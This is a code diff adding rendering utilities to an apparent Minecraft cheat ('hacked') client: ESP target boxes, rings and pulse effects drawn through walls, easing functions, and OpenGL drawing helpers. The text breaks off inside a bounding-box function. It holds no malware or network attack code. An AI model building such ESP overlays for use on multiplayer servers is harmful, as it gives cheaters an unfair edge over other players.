net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.DOUBLE_PI +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.colorBlueTwoValue +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.colorBlueValue +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.colorGreenTwoValue +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.colorGreenValue +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.colorRedTwoValue +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.colorRedValue +import net.ccbluex.liquidbounce.features.module.modules.visual.CombatVisuals.start +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.utils.render.DrRenderUtils.resetColor +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.RenderUtils.* +import net.minecraft.client.renderer.GlStateManager.popMatrix +import net.minecraft.client.renderer.GlStateManager.pushMatrix +import net.minecraft.client.renderer.RenderGlobal +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.Vec3 +import org.lwjgl.opengl.GL11.* +import org.lwjgl.util.glu.Cylinder +import java.awt.Color +import kotlin.math.abs +import kotlin.math.cos +import kotlin.math.sin + +object CombatRender: MinecraftInstance() { + + fun drawEntityBoxESP(entity: Entity, color: Color) { + val renderManager = mc.renderManager + val timer = mc.timer + pushMatrix() + glBlendFunc(770, 771) + enableGlCap(3042) + disableGlCap(3553, 2929) + glDepthMask(false) + val x = (entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * timer.renderPartialTicks + - renderManager.renderPosX) + val y = (entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * timer.renderPartialTicks + - renderManager.renderPosY) + val z = (entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * timer.renderPartialTicks + - renderManager.renderPosZ) + val entityBox = entity.entityBoundingBox + val axisAlignedBB = AxisAlignedBB( + entityBox.minX - entity.posX + x - 0.05, + entityBox.minY - entity.posY + y, + entityBox.minZ - entity.posZ + z - 0.05, + entityBox.maxX - entity.posX + x + 0.05, + entityBox.maxY - entity.posY + y + 0.15, + entityBox.maxZ - entity.posZ + z + 0.05 + ) + glTranslated(x, y, z) + glRotated(-entity.rotationYawHead.toDouble(), 0.0, 1.0, 0.0) + glTranslated(-x, -y, -z) + glLineWidth(3.0f) + enableGlCap(2848) + glColor(0, 0, 0, 255) + RenderGlobal.drawSelectionBoundingBox(axisAlignedBB) + glLineWidth(1.0f) + enableGlCap(2848) + glColor(color.red, color.green, color.blue, 255) + RenderGlobal.drawSelectionBoundingBox(axisAlignedBB) + resetColor() + glDepthMask(true) + resetCaps() + popMatrix() + } + + /** + * Draws a visual effect around the specified entity in 3D space. + * + * @param event The render event containing the partial tick time for smooth rendering. + */ + fun drawZavz(entity: EntityLivingBase, event: Render3DEvent, dual: Boolean) { + val speed = 0.1f + + val ticks = event.partialTicks + glPushMatrix() + glDisable(GL_TEXTURE_2D) + + startSmooth() + + glDisable(GL_DEPTH_TEST) + glDepthMask(false) + glLineWidth(2.0f) + glBegin(GL_LINE_STRIP) + + val x = entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * ticks - mc.renderManager.renderPosX + val z = entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * ticks - mc.renderManager.renderPosZ + var y = entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * ticks - mc.renderManager.renderPosY + + val radius = 0.65 + val precision = 360 + + var startPos = start % 360 + + start += speed + + for (i in 0..precision) { + val posX = x + radius * cos(startPos + i * DOUBLE_PI / (precision / 2.0)) + val posZ = z + radius * sin(startPos + i * DOUBLE_PI / (precision / 2.0)) + + glColor( + getGradientOffset( + Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()), Color( + colorRedTwoValue.get(), colorGreenTwoValue.get(), colorBlueTwoValue.get(), 1 + ), abs((System.currentTimeMillis() / 10L).toDouble()) / 100.0 + y + ) + ) + + glVertex3d(posX, y, posZ) + + y += entity.height / precision + + glColor(0, 0, 0, 0) + } + + glEnd() + glDepthMask(true) + glEnable(GL_DEPTH_TEST) + + endSmooth() + + glEnable(GL_TEXTURE_2D) + glPopMatrix() + + if (dual) { + glPushMatrix() + glDisable(GL_TEXTURE_2D) + + startSmooth() + + glDisable(GL_DEPTH_TEST) + glDepthMask(false) + glLineWidth(2.0f) + glBegin(GL_LINE_STRIP) + + startPos = start % 360 + + start += speed + + y = + entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * ticks - mc.renderManager.renderPosY + entity.height + + for (i in 0..precision) { + val posX = x + radius * cos(-(startPos + i * DOUBLE_PI / (precision / 2.0))) + val posZ = z + radius * sin(-(startPos + i * DOUBLE_PI / (precision / 2.0))) + + glColor( + getGradientOffset( + Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()), + Color(colorRedTwoValue.get(), colorGreenTwoValue.get(), colorBlueTwoValue.get(), 1), + abs((System.currentTimeMillis() / 10L).toDouble()) / 100.0 + y + ) + ) + + glVertex3d(posX, y, posZ) + + y -= entity.height / precision + + glColor(0, 0, 0, 0) + } + + glEnd() + glDepthMask(true) + glEnable(GL_DEPTH_TEST) + + endSmooth() + + glEnable(GL_TEXTURE_2D) + glPopMatrix() + } + } + + fun drawPlatformESP(entity: Entity, color: Color) { + val renderManager = mc.renderManager + val timer = mc.timer + + val axisAlignedBB = entity.entityBoundingBox.offset(-entity.posX, -entity.posY, -entity.posZ).offset( + (entity.lastTickPosX + ((entity.posX - entity.lastTickPosX) * (timer.renderPartialTicks.toDouble()))) - renderManager.renderPosX, + (entity.lastTickPosY + ((entity.posY - entity.lastTickPosY) * (timer.renderPartialTicks.toDouble()))) - renderManager.renderPosY, + (entity.lastTickPosZ + ((entity.posZ - entity.lastTickPosZ) * (timer.renderPartialTicks.toDouble()))) - renderManager.renderPosZ + ) + drawAxisAlignedBB( + AxisAlignedBB( + axisAlignedBB.minX, + axisAlignedBB.maxY - 0.5, + axisAlignedBB.minZ, + axisAlignedBB.maxX, + axisAlignedBB.maxY + 0.2, + axisAlignedBB.maxZ + ), color + ) + } + + /** + * Draws an ESP (Extra Sensory Perception) effect around the given entity. + * + * @param entity The entity to draw the ESP effect around. + * @param color The color of the ESP effect. + * @param e The Render3DEvent containing partial ticks for interpolation. + */ + fun drawCrystal(entity: EntityLivingBase, color: Int, e: Render3DEvent) { + val x = entity.lastTickPosX + (entity.posX - entity.lastTickPosX) * e.partialTicks - mc.renderManager.renderPosX + val y = entity.lastTickPosY + (entity.posY - entity.lastTickPosY) * e.partialTicks - mc.renderManager.renderPosY + val z = entity.lastTickPosZ + (entity.posZ - entity.lastTickPosZ) * e.partialTicks - mc.renderManager.renderPosZ + val radius = 0.15f + val side = 4 + + glPushMatrix() + glTranslated(x, y + 2, z) + glRotatef(-entity.width, 0.0f, 1.0f, 0.0f) + + glColor(color) + enableSmoothLine(1.5f) + + val c = Cylinder() + glRotatef(-90.0f, 1.0f, 0.0f, 0.0f) + c.drawStyle = 100012 + glColor(if ((entity.hurtTime <= 0)) Color(80, 255, 80, 200) else Color(255, 0, 0, 200)) + c.draw(0.0f, radius, 0.3f, side, 1) + c.drawStyle = 100012 + + glTranslated(0.0, 0.0, 0.3) + c.draw(radius, 0.0f, 0.3f, side, 1) + + glRotatef(90.0f, 0.0f, 0.0f, 1.0f) + c.drawStyle = 100011 + + glTranslated(0.0, 0.0, -0.3) + glColor(color) + c.draw(0.0f, radius, 0.3f, side, 1) + c.drawStyle = 100011 + + glTranslated(0.0, 0.0, 0.3) + c.draw(radius, 0.0f, 0.3f, side, 1) + + disableSmoothLine() + glPopMatrix() + } + + @JvmStatic + fun drawOnBorderedRect(x: Float, y: Float, x2: Float, y2: Float, width: Float, color1: Int, color2: Int) { + drawRect(x, y, x2, y2, color2) + glEnable(GL_BLEND) + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + + glColor(color1) + glLineWidth(width) + glBegin(1) + glVertex2d(x.toDouble(), y.toDouble()) + glVertex2d(x.toDouble(), y2.toDouble()) + glVertex2d(x2.toDouble(), y2.toDouble()) + glVertex2d(x2.toDouble(), y.toDouble()) + glVertex2d(x.toDouble(), y.toDouble()) + glVertex2d(x2.toDouble(), y.toDouble()) + glVertex2d(x.toDouble(), y2.toDouble()) + glVertex2d(x2.toDouble(), y2.toDouble()) + glEnd() + + glEnable(GL_TEXTURE_2D) + glDisable(GL_BLEND) + glDisable(GL_LINE_SMOOTH) + } + fun drawjello(color: Color) { + val it = FDPClient.combatManager.target + val drawTime = (System.currentTimeMillis() % 2000).toInt() + val drawMode=drawTime>1000 + var drawPercent=drawTime/1000.0 + //true when goes up + if(!drawMode){ + drawPercent=1-drawPercent + }else{ + drawPercent-=1 + } + drawPercent=EaseUtils.easeInOutQuad(drawPercent) + val points = mutableListOf<Vec3>() + val bb= it!!.entityBoundingBox + val radius=bb.maxX-bb.minX + val height=bb.maxY-bb.minY + val posX = it.lastTickPosX + (it.posX - it.lastTickPosX) * mc.timer.renderPartialTicks + var posY = it.lastTickPosY + (it.posY - it.lastTickPosY) * mc.timer.renderPartialTicks + if(drawMode){ + posY-=0.5 + }else{ + posY+=0.5 + } + val posZ = it.lastTickPosZ + (it.posZ - it.lastTickPosZ) * mc.timer.renderPartialTicks + for(i in 0..360 step 7){ + points.add(Vec3(posX - sin(i * Math.PI / 180F) * radius,posY+height*drawPercent,posZ + cos(i * Math.PI / 180F) * radius)) + } + points.add(points[0]) + //draw + mc.entityRenderer.disableLightmap() + glPushMatrix() + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + glEnable(GL_BLEND) + glDisable(GL_DEPTH_TEST) + glBegin(GL_LINE_STRIP) + val baseMove=(if(drawPercent>0.5){1-drawPercent}else{drawPercent})*2 + val min=(height/60)*20*(1-baseMove)*(if(drawMode){-1}else{1}) + for(i in 0..20) { + var moveFace=(height/60F)*i*baseMove + if(drawMode){ + moveFace=-moveFace + } + val firstPoint=points[0] + glVertex3d( + firstPoint.xCoord - mc.renderManager.viewerPosX, firstPoint.yCoord - moveFace - min - mc.renderManager.viewerPosY, + firstPoint.zCoord - mc.renderManager.viewerPosZ + ) + glColor4f(color.red.toFloat(), color.green.toFloat(), color.blue.toFloat(),0.7F*(i/20F)) + for (vec3 in points) { + glVertex3d( + vec3.xCoord - mc.renderManager.viewerPosX, vec3.yCoord - moveFace - min - mc.renderManager.viewerPosY, + vec3.zCoord - mc.renderManager.viewerPosZ + ) + } + glColor4f(0F, 0F, 0F,0F) + } + glEnd() + glEnable(GL_DEPTH_TEST) + glDisable(GL_LINE_SMOOTH) + glDisable(GL_BLEND) + glEnable(GL_TEXTURE_2D) + glPopMatrix() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/EaseUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/EaseUtils.kt new file mode 100644 index 0000000..ce3f88f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/EaseUtils.kt @@ -0,0 +1,181 @@ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.ListValue +import kotlin.math.* + +/*** + * Skid from https://github.com/ai/easings.net + */ +object EaseUtils { + fun easeInSine(x: Double): Double { + return 1 - cos((x * PI) / 2) + } + + fun easeOutSine(x: Double): Double { + return sin((x * PI) / 2) + } + + fun easeInOutSine(x: Double): Double { + return -(cos(PI * x) - 1) / 2 + } + + fun easeInQuad(x: Double): Double { + return x * x + } + + fun easeOutQuad(x: Double): Double { + return 1 - (1 - x) * (1 - x) + } + + fun easeInOutQuad(x: Double): Double { + return if (x < 0.5) { 2 * x * x } else { 1 - (-2 * x + 2).pow(2) / 2 } + } + + fun easeInCubic(x: Double): Double { + return x * x * x + } + + fun easeOutCubic(x: Double): Double { + return 1 - (1 - x).pow(3) + } + + fun easeInOutCubic(x: Double): Double { + return if (x < 0.5) { 4 * x * x * x } else { 1 - (-2 * x + 2).pow(3) / 2 } + } + + fun easeInQuart(x: Double): Double { + return x * x * x * x + } + + @JvmStatic + fun easeOutQuart(x: Double): Double { + return 1 - (1 - x).pow(4) + } + @JvmStatic + fun easeInOutQuart(x: Double): Double { + return if (x < 0.5) { 8 * x * x * x * x } else { 1 - (-2 * x + 2).pow(4) / 2 } + } + + fun easeInQuint(x: Double): Double { + return x * x * x * x * x + } + + @JvmStatic + fun easeOutQuint(x: Double): Double { + return 1 - (1 - x).pow(5) + } + + @JvmStatic + fun easeInOutQuint(x: Double): Double { + return if (x < 0.5) { 16 * x * x * x * x * x } else { 1 - (-2 * x + 2).pow(5) / 2 } + } + + @JvmStatic + fun easeInExpo(x: Double): Double { + return if (x == 0.0) { 0.0 } else { 2.0.pow(10 * x - 10) } + } + + fun easeOutExpo(x: Double): Double { + return if (x == 1.0) { 1.0 } else { 1 - 2.0.pow(-10 * x) } + } + + @JvmStatic + fun easeInOutExpo(x: Double): Double { + return if (x == 0.0) { 0.0 } else { if (x == 1.0) { 1.0 } else { if (x < 0.5) { 2.0.pow(20 * x - 10) / 2 } else { (2 - 2.0.pow(-20 * x + 10)) / 2 } } } + } + + fun easeInCirc(x: Double): Double { + return 1 - sqrt(1 - x.pow(2)) + } + + fun easeOutCirc(x: Double): Double { + return sqrt(1 - (x - 1).pow(2)) + } + + fun easeInOutCirc(x: Double): Double { + return if (x < 0.5) { (1 - sqrt(1 - (2 * x).pow(2))) / 2 } else { (sqrt(1 - (-2 * x + 2).pow(2)) + 1) / 2 } + } + + fun easeInBack(x: Double): Double { + val c1 = 1.70158 + val c3 = c1 + 1 + + return c3 * x * x * x - c1 * x * x + } + + @JvmStatic + fun easeOutBack(x: Double): Double { + val c1 = 1.70158 + val c3 = c1 + 1 + + return 1 + c3 * (x - 1).pow(3) + c1 * (x - 1).pow(2) + } + + fun easeInOutBack(x: Double): Double { + val c1 = 1.70158 + val c2 = c1 * 1.525 + + return if (x < 0.5) { ((2 * x).pow(2) * ((c2 + 1) * 2 * x - c2)) / 2 } else { ((2 * x - 2).pow(2) * ((c2 + 1) * (x * 2 - 2) + c2) + 2) / 2 } + } + + fun easeInElastic(x: Double): Double { + val c4 = (2 * Math.PI) / 3 + + return if (x == 0.0) { 0.0 } else { if (x == 1.0) { 1.0 } else { (-2.0).pow(10 * x - 10) * sin((x * 10 - 10.75) * c4) } } + } + + fun easeOutElastic(x: Double): Double { + val c4 = (2 * Math.PI) / 3 + + return if (x == 0.0) { 0.0 } else { if (x == 1.0) { 1.0 } else { 2.0.pow(-10 * x) * sin((x * 10 - 0.75) * c4) + 1 } } + } + + fun easeInOutElastic(x: Double): Double { + val c5 = (2 * Math.PI) / 4.5 + + return if (x == 0.0) { 0.0 } else { if (x == 1.0) { 1.0 } else { if (x < 0.5) { -(2.0.pow(20 * x - 10) * sin((20 * x - 11.125) * c5)) / 2 } else { (2.0.pow(-20 * x + 10) * sin((20 * x - 11.125) * c5)) / 2 + 1 } } } + } + + enum class EnumEasingType { + NONE, + SINE, + QUAD, + CUBIC, + QUART, + QUINT, + EXPO, + CIRC, + BACK, + ELASTIC; + + val friendlyName = name.substring(0, 1).uppercase() + name.substring(1, name.length).lowercase() + } + + enum class EnumEasingOrder(val methodName: String) { + FAST_AT_START("Out"), + FAST_AT_END("In"), + FAST_AT_START_AND_END("InOut") + } + + fun getEnumEasingList(name: String) = ListValue(name, EnumEasingType.values().map { it.toString() }.toTypedArray(), EnumEasingType.SINE.toString()) + + fun getEnumEasingOrderList(name: String) = ListValue(name, EnumEasingOrder.values().map { it.toString() }.toTypedArray(), EnumEasingOrder.FAST_AT_START.toString()) + + fun apply(type: EnumEasingType, order: EnumEasingOrder, value: Double): Double { + if (type == EnumEasingType.NONE) { + return value + } + + val methodName = "ease${order.methodName}${type.friendlyName}" + + this.javaClass.declaredMethods.find { it.name.equals(methodName) }.also { + return if (it != null) { + it.invoke(this, value) as Double + } else { + ClientUtils.logError("Cannot found easing method: $methodName") + value + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/GLUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/GLUtil.java new file mode 100644 index 0000000..60c2912 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/GLUtil.java @@ -0,0 +1,67 @@ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.renderer.GlStateManager; + +import static org.lwjgl.opengl.GL11.*; + +public class GLUtil { + + public static void enableDepth() { + GlStateManager.enableDepth(); + GlStateManager.depthMask(true); + } + + public static void disableDepth() { + GlStateManager.disableDepth(); + GlStateManager.depthMask(false); + } + + public static int[] enabledCaps = new int[32]; + + public static void enableCaps(int... caps) { + for (int cap : caps) glEnable(cap); + enabledCaps = caps; + } + + public static void disableCaps() { + for (int cap : enabledCaps) glDisable(cap); + } + + public static void startBlend() { + GlStateManager.enableBlend(); + GlStateManager.blendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + } + + public static void endBlend() { + GlStateManager.disableBlend(); + } + + public static void setup2DRendering(boolean blend) { + if (blend) { + startBlend(); + } + GlStateManager.disableTexture2D(); + } + + public static void setup2DRendering() { + setup2DRendering(true); + } + + public static void end2DRendering() { + GlStateManager.enableTexture2D(); + endBlend(); + } + + public static void startRotate(float x, float y, float rotate) { + GlStateManager.pushMatrix(); + GlStateManager.translate(x, y, 0); + GlStateManager.rotate(rotate, 0, 0, -1); + GlStateManager.translate(-x, -y, 0); + } + + public static void endRotate(){ + GlStateManager.popMatrix(); + } + + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/GLUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/GLUtils.kt new file mode 100644 index 0000000..e8314ce --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/GLUtils.kt @@ -0,0 +1,460 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.utils.ClientUtils.mc +import net.ccbluex.liquidbounce.utils.extensions.renderBoundingBox +import net.ccbluex.liquidbounce.utils.render.shader.shaders.BlurShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.CircleShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.RoundRectShader +import net.ccbluex.liquidbounce.utils.render.shader.shaders.SRoundRectShader +import net.minecraft.client.gui.Gui +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.Entity +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import org.lwjgl.opengl.GL20 +import java.awt.Color + +object GLUtils { + + /** + * Read [Information](https://en.wikipedia.org/wiki/Delta_timing) + */ + @JvmField + var deltaTime = 0 + + /** + * Draws a Rectangle + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * + * @param color Rectangle color + */ + @JvmStatic + fun drawRect(x: Float, y: Float, x2: Float, y2: Float, color: Int) { + glEnable(GL_BLEND) + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glColor(color) + + glBegin(GL_QUADS) + + glVertex2f(x2, y) + glVertex2f(x, y) + glVertex2f(x, y2) + glVertex2f(x2, y2) + + glEnd() + + glDisable(GL_BLEND) + glEnable(GL_TEXTURE_2D) + } + + /** + * Draws a rectangular border + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * + * @param width Border width + * + * @param color Border color + */ + fun drawBorder(x: Float, y: Float, x2: Float, y2: Float, width: Float, color: Int) { + glEnable(GL_BLEND) + glDisable(GL_TEXTURE_2D) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glEnable(GL_LINE_SMOOTH) + glLineWidth(width) + glColor(color) + + glBegin(GL_LINE_LOOP) + + glVertex2f(x2, y) + glVertex2f(x, y) + glVertex2f(x, y2) + glVertex2f(x2, y2) + + glEnd() + + glDisable(GL_BLEND) + glEnable(GL_TEXTURE_2D) + glDisable(GL_LINE_SMOOTH) + } + + /** + * Draws a rectangle with a border + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * + * @param width Border width + * + * @param color Border color + * @param color2 Rectangle color + */ + @JvmStatic + fun drawBorderedRect(x: Float, y: Float, x2: Float, y2: Float, width: Float, color: Int, color2: Int = color) { + drawRect(x, y, x2, y2, color2) + drawBorder(x, y, x2, y2, width, color) + } + + /** + * Draws a rounded rectangle + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * + * @param radius Corner radius + * + * @param color Rectangle color + */ + @JvmStatic + fun drawRoundedRect(x: Float, y: Float, x2: Float, y2: Float, radius: Float, color: Color) { + require(radius in 0f..1f) { "Rectangle radius should be between 0 and 1" } + + glEnable(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + + RoundRectShader.startShader() + + GL20.glUniform4f(RoundRectShader.getUniform("color"), color.red / 255f, color.green / 255f, color.blue / 255f, color.alpha / 255f) + GL20.glUniform2f(RoundRectShader.getUniform("size"), x2 - x, y2 - y) + GL20.glUniform1f(RoundRectShader.getUniform("radius"), radius) + + drawQuads(x, y, x2, y2) + + RoundRectShader.stopShader() + + glDisable(GL_BLEND) + } + + /** + * Draws a rounded rectangle with a separate radius for each corner + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * + * @param tr Top right corner radius + * @param br Bottom right corner radius + * @param tl Top left corner radius + * @param br Bottom left corner radius + * + * @param color Rectangle color + */ + @Suppress("unused") + // @TODO Use this in clickgui + fun drawSeparateRoundedRect(x: Float, y: Float, x2: Float, y2: Float, tr: Float, br: Float, tl: Float, bl: Float, color: Color) { + require(tr in 0f..1f && br in 0f..1f && tl in 0f..1f && br in 0f..1f) { "Rectangle radii should be between 0 and 1" } + + glEnable(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + + SRoundRectShader.startShader() + + GL20.glUniform4f(SRoundRectShader.getUniform("color"), color.red / 255f, color.green / 255f, color.blue / 255f, color.alpha / 255f) + GL20.glUniform2f(SRoundRectShader.getUniform("size"), x2 - x, y2 - y) + GL20.glUniform4f(SRoundRectShader.getUniform("radius"), tr, br, tl, bl) + + drawQuads(x, y, x2, y2) + + SRoundRectShader.stopShader() + + glDisable(GL_BLEND) + } + + @JvmStatic + fun drawQuads(x: Float, y: Float, x2: Float, y2: Float) { + glBegin(GL_QUADS) + + glTexCoord2f(0f, 0f) + glVertex2f(x, y) + glTexCoord2f(0f, 1f) + glVertex2f(x, y2) + glTexCoord2f(1f, 1f) + glVertex2f(x2, y2) + glTexCoord2f(1f, 0f) + glVertex2f(x2, y) + + glEnd() + } + + /** + * Draws a circle + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * + * @param color Circle color + */ + @JvmStatic + fun drawCircle(x: Float, y: Float, x2: Float, y2: Float, color: Color) { + glEnable(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + + CircleShader.startShader() + + GL20.glUniform4f(CircleShader.getUniform("color"), color.red / 255f, color.green / 255f, color.blue / 255f, color.alpha / 255f) + GL20.glUniform2f(CircleShader.getUniform("size"), x2 - x, y2 - y) + + drawQuads(x, y, x2, y2) + + CircleShader.stopShader() + + glDisable(GL_BLEND) + } + + /** + * Creates a Scissor box + * + * [Documentation](https://www.khronos.org/registry/OpenGL-Refpages/es2.0/xhtml/glScissor.xml) + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + */ + @JvmStatic + fun makeScissorBox(x: Float, y: Float, x2: Float, y2: Float) { + val scaledResolution = ScaledResolution(mc) + val factor = scaledResolution.scaleFactor + + glScissor( + (x * factor).toInt(), + ((scaledResolution.scaledHeight - y2) * factor).toInt(), + ((x2 - x) * factor).toInt(), + ((y2 - y) * factor).toInt() + ) + } + + /** + * Draws an image + * + * @param image Image location + * @param x X position + * @param y Y position + * @param width Image width + * @param height Image height + */ + @JvmStatic + fun drawImage(image: ResourceLocation, x: Int, y: Int, width: Int, height: Int) { + glEnable(GL_BLEND) + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + glDisable(GL_DEPTH_TEST) + glDepthMask(false) + + mc.textureManager.bindTexture(image) + Gui.drawModalRectWithCustomSizedTexture(x, y, 0f, 0f, width, height, width.toFloat(), height.toFloat()) + + glDisable(GL_BLEND) + glEnable(GL_DEPTH_TEST) + glDepthMask(true) + } + + /** + * Draws a normal line + * + * @param x Start X position + * @param y Start Y position + * @param x2 End X position + * @param y2 End Y position + * @param width Line width + */ + fun drawLine(x: Double, y: Double, x2: Double, y2: Double, width: Float) { + glDisable(GL_TEXTURE_2D) + glLineWidth(width) + glBegin(GL_LINES) + + glVertex2d(x, y) + glVertex2d(x2, y2) + + glEnd() + glEnable(GL_TEXTURE_2D) + } + + /** + * draws a cuboid outline around [boundingBox] + */ + fun drawOutlinedBB(boundingBox: AxisAlignedBB) { + glBegin(GL_LINE_STRIP) + + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + + glEnd() + } + + /** + * draws a filled cuboid around [boundingBox] + */ + fun drawFilledBB(boundingBox: AxisAlignedBB) { + glBegin(GL_QUADS) + + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.maxY, boundingBox.minZ) + + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.maxZ) + glVertex3d(boundingBox.maxX, boundingBox.minY, boundingBox.minZ) + + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.maxY, boundingBox.minZ) + glVertex3d(boundingBox.minX, boundingBox.minY, boundingBox.maxZ) + 